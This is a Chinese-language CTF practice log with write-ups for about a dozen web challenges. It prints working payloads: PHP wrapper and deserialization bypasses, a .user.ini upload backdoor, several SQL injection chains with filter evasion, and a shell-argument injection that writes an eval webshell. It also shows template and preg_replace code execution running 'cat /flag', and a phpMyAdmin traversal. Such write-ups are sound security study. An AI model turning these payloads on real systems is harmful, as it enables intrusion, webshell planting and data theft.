CTF刷题记录(四)

[ZJCTF 2019]NiZhuanSiWei

题目给出源码

image-20220415220438186

传入三个参数,需要三个参数都满足条件才能获得flag

Text参数,需要满足(file_get_contents($text,'r')==="welcome to the zjctf"

意思为读取一个文件的内容与字符串进行强比较要相等,这里可以利用伪协议data://把该字符串写入一个文件,则可以绕过该比较

Playload:text=data://doc/;base64, d2VsY29tZSB0byB0aGUgempjdGY=

将“welcome to the zjctf”用base64编码写入再解码保存在doc文件中,成功绕过第一个强比较

image-20220415220519705

File参数,正则判断时候含有flag字符,不含flag则可以包含该文件,执行指定文件。

根据提示要读取useless.php文件,这里需要使用伪协议php://filter读取文件

Playload: file=php://filter/read=convert.base64-encode/resource=useless.php

得到文件内容的base64编码

image-20220415220545076

解码得到一段代码

<?php 

class Flag{ //flag.php 

  public $file; 

  public function __tostring(){ 

​    if(isset($this->file)){ 

​      echo file_get_contents($this->file); 

​      echo "<br>";

​    return ("U R SO CLOSE !///COME ON PLZ"); } } } 

?> 

给出一个flag类,里面有file参数,结合password参数的反序列化漏洞,可以构造password来读取flag文件

构造poc

image-20220415220614294

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终playload:

text=data://doc/;base64,%20d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

页面显示

image-20220415220641903

抓包发送得到flag

image-20220415220647160

[SUCTF 2019]CheckIn

image-20220415223057971

文件上传题目,只允许上传图片

image-20220415223103541

利用user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,抓包修改文件名,文件类型

image-20220415223118585

上传成功

image-20220415223143948

再制作一个简单图马

image-20220415223149368

上传成功

image-20220415223154470

访问该文件,已被解析成php格式

image-20220415223203729

蚁剑连接成功

image-20220415223209178

打开命令行,cat /flag获得flag

[极客大挑战 2019]HardSQL

题目过滤了and、=、union等sql敏感字符,采用报错注入绕过这些字符

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#查库
image-20220415223258200
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#查表
image-20220415223302459
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#查列
image-20220415223306454
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#查字段,只返回了flag的前半段
image-20220415223310304

后面用left()right()语句查询拼接

admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image-20220415223315236

拼起来就是flag了

[MRCTF2020]Ez_bypass

给出源码,要求上传参数绕过各个比较函数

image-20220415223339993

第一个md5强比较,由于md5无法处理数组,输入参数为数组时,md5函数返回false,当两个函数都是false时,强比较判断为相等。

第二个弱比较,使用1234567a,1在前,php会将其整体转成数字,则能够绕过弱比较

Playload=id[]=1&gg[]=1&password=1234567a
image-20220415223428275

[GYCTF2020]Blacklist

简单的堆叠注入

1’;show databases;#查库
image-20220415223444015
1';show tables;#查表
image-20220415223615185
1';show columns from `FlagHere`;#查列
image-20220415223621635

当输入select时,发现题目对select有严格过滤

image-20220415223627888

改用handler, handler … open语句打开一个表,使其可以使用后续handler… read语句访问,该表对象未被其他会话共享,并且在会话调用handler… close或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

得到flag

image-20220415223636592

[BUUCTF 2018]Online Tool

题目给出源代码

image-20220415223725975

remote_addrx_forwarded_for函数用于服务器获取IP
escapeshellarg()escapeshellcmd()一起使用时会引发解析漏洞
当传入127.0.0.1参数时
escapeshellarg处理后变成

'127.0.0.1'\'' -v -d a=1'

escapeshellcmd处理后变成

'127.0.0.1'\\'' -v -d a=1\'

最后结果是

curl '127.0.0.1'\\'' -v -d a=1\',\\解析为\,‘’成为空白连接符,等价于curl 127.0.0.1\ -v -d a=1,即向127.0.0.1发起post请求,数据为a=1’

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

由于system执行命令且有host参数传参,可利用该参数传入shell

由于nmap的-oG命令可以把结果写入指定文件中,所以可以通过写入一句话木马的方式获得shell

Playload= host=' <?php @eval($_POST["shell"]);?> -oG shell.php '

上传的playload经两个函数处理后变成

''\\'' \<\?php \@eval\(\$_POST\[\"shell\"\])\;\?\> -oG test.php\'

上传playload之后获得文件地址

image-20220415224047717
image-20220415224053607

蚁剑连接

image-20220415224059751

命令行获得flag

image-20220415224105531

[BJDCTF2020]The mystery of ip

题目有有flag.php,hint.php,index.php三个页面

image-20220415224128963

Flag.php页面返回ip地址值

image-20220415224149959

Hint.php页面给出提示,暗示ip可控

image-20220415224155366

抓包分析flag.php页面,发现添加一个client-ip请求头可以控制返回的ip地址

image-20220415224202001
client-ip:{3*3}

返回9,即可以执行语句

image-20220415224213408
client-ip:{system(‘ls’)}

写入命令行,获取目录,发现flag.php文件

image-20220415224256954
client-ip:{system('cat /flag')}

得到flag

image-20220415224321493

[GWCTF 2019]我有一个数据库

题目没给任何提示,根据题名应该猜测数据库名称,用御剑扫描出数据库为PhpMyadmin

image-20220415224334182

不需秘钥,直接登录数据库,查看版本信息

image-20220415224349124

根据版本信息查询相关漏洞,发现phpmyadmin4.8.0-4.8.1存在文件包含漏洞

image-20220415224404031

即直接构造

playload: target=db_datadict.php%253f/../../../../../../../../flag

直接读取flag

image-20220415224423267

[BJDCTF2020]ZJCTF,不过如此

题目给出源码,和之前做的题有点相似

image-20220415224438611

第一个强比较使用伪协议data://绕过

Playload:text= data://doc/;base64, SSBoYXZlIGEgZHJlYW0=

成功绕过

image-20220415224508363

后面的文件包含使用伪协议php://filter读取next.php

Playload: file=php://filter/read=convert.base64-encode/resource=next.php
image-20220415224530905

Base64解码,得到代码

<?php

$id = $_GET['id'];

$_SESSION['id'] = $id;

function complex($re, $str) {

  return preg_replace( '/(' . $re . ')/ei','strtolower("\\1")',$str);}

foreach($_GET as $re => $str) {

  echo complex($re, $str). "\n";}

function getFlag(){

  @eval($_GET['cmd']);}

在next.php文件中get传入id参数和cmd参数

preg_replace()以/e结尾时,存在命令执行漏洞,当存在/e则,匹配到符合正则表达式的字符串时,第二个参数的字符串将被当做代码执行

第二参数为strtolower("\\1")等价于strtolower("\1")\1在正则表达式中指定第一个匹配项,整个函数的意思就是取出正则表达式匹配后子匹配表达式的第一项

foreach()函数把传进去的参数变为正则数值变为字符串

getFlag()返回cmd参数执行内容

构造

playload: \S*=${getFlag()}&cmd=system('cat /flag');

上传得到flag

image-20220415224650366

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目提示flag就在flag表flag列里

image-20220415224702830

Sql常规注入流程发现过滤了;、”、#、&等字符,用()绕过这些字符

直接查询id=(select(flag)from(flag))只返回错误信息

image-20220415224721952

Id=sleep(3)延时一段时间再返回说明注入成功,但只返回错误提示

猜测flag第一个字符为f即102,返回正确信息,所以是盲注

image-20220415224730283

脚本拿flag

image-20220415224749548

[SWPU2019]Web1

随便注册一个账号,登录之后有广告申请

image-20220415224802040

输入’,查询却显示错误,存在注入点

image-20220415224814331

经验证过滤了空格,or,and,--+,#,order等敏感字符,用/**/代替空格,group by代替order by

-1'/**/group/**/by/**/21,'2,验证存在21个注入点

0'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5,回显2,3,说明回显点在2,3
image-20220415224849366
0'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5查库
image-20220415224932015
0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5查表(information_schema.tables被过滤)
image-20220415224940078
0'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'5,查列得到flag

image-20220415224946140